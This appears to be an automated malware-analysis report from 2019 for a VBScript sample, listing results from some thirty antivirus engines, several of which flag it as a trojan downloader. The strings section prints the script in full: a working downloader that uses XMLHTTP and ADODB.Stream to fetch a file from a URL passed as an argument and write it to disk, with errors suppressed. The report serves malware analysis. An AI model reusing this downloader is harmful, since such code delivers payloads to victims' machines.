Analysis Date2019-01-11 15:08:36
MD5
SHA1d982e10dfa51b0f4c65a713cb85e25c29e28aa5f

Static Details:

AVMcafeeVBS/Psyme
AVBitDefenderNo Virus
AVKasperskyNo Virus
AVAlwil (avast)No Virus
AVMalwareBytesNo Virus
AVRisingTrojan.DL.VBS.Agent.y
AVAd-AwareNo Virus
AVFortinetNo Virus
AVK7Trojan ( 0001140e1 )
AVVirusBlokAda (vba32)No Virus
AVCA (E-Trust Ino)Trojan.Script.474857
AVAvira (antivir)No Virus
AVGrisoft (avg)Error Scanning File
AVNANOError Scanning File
AVCAT (quickheal)No Virus
AVClamAVNo Virus
AVWindows DefenderNo Virus
AVMicrosoft Security EssentialsNo Virus
AVSUPERAntiSpywareNo Virus
AVZillya!No Virus
AV360 SafeNo Virus
AVEset (nod32)No Virus
AVBullGuardNo Virus
AVSymantecNo Virus
AVDr. WebVBS.DownLoader.1129
AVAVG Internet SecurityError Scanning File
AVFrisk (f-prot)No Virus
AVAuthentiumNo Virus
AVEmsisoftNo Virus
AVIkarusNo Virus
AVTrend MicroNo Virus
AVMicroWorld (escan)No Virus
AVArcabit (arcavir)No Virus
AVPadvishNo Virus
AVF-SecureNo Virus
AVTwisterNo Virus

Runtime Details:

Network Details:


Raw Pcap

Strings
on error resume next
with wscript:if .arguments.count<2 then .quit:end if
set aso=.createobject("adodb.stream"):set web=createobject("microsoft.xmlhttp")
web.open "get",.arguments(0),0:web.send:if web.status>200 then quit
aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile .arguments(1),2:end with